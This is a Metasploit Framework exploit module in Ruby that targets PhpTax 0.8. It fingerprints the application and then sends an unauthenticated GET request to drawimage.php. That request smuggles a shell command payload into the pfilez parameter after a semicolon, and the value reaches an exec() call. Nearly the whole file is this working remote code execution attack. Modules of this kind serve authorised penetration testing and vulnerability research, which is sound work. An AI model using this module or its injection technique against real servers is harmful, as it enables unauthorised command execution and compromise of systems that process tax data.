##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "PhpTax pfilez Parameter Exec Remote Code Injection",
      'Description'    => %q{
          This module exploits a vulnerability found in PhpTax, an income tax report
        generator.  When generating a PDF, the icondrawpng() function in drawimage.php
        does not properly handle the pfilez parameter, which will be used in a exec()
        statement, and then results in arbitrary remote code execution under the context
        of the web server.  Please note: authentication is not required to exploit this
        vulnerability.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jean Pascal Pereira <pereira[at]secbiz.de>',
          'sinn3r'  #Metasploit
        ],
      'References'     =>
        [
          ['EDB', '21665']
        ],
      'Payload'        =>
        {
          'Compat' =>
          {
            'ConnectionType' => 'find',
            'PayloadType'    => 'cmd',
            'RequiredCmd'    => 'generic perl ruby bash telnet python'
          }
        },
      'Platform'       => ['unix', 'linux'],
      'Targets'        =>
        [
          ['PhpTax 0.8', {}]
        ],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'DisclosureDate' => "Oct 8 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the web application', '/phptax/'])
      ], self.class)
  end


  def check
    target_uri.path << '/' if target_uri.path[-1,1] != '/'
    res = send_request_raw({'uri'=>target_uri.path})
    if res and res.body =~ /PHPTAX by William L\. Berggren/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unknown
    end
  end


  def exploit
    target_uri.path << '/' if target_uri.path[-1,1] != '/'

    print_status("#{rhost}#{rport} - Sending request...")
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => "#{target_uri.path}drawimage.php",
      'vars_get' => {
        'pdf'    => 'make',
        'pfilez' => "xxx; #{payload.encoded}"
      }
    })

    handler
  end
end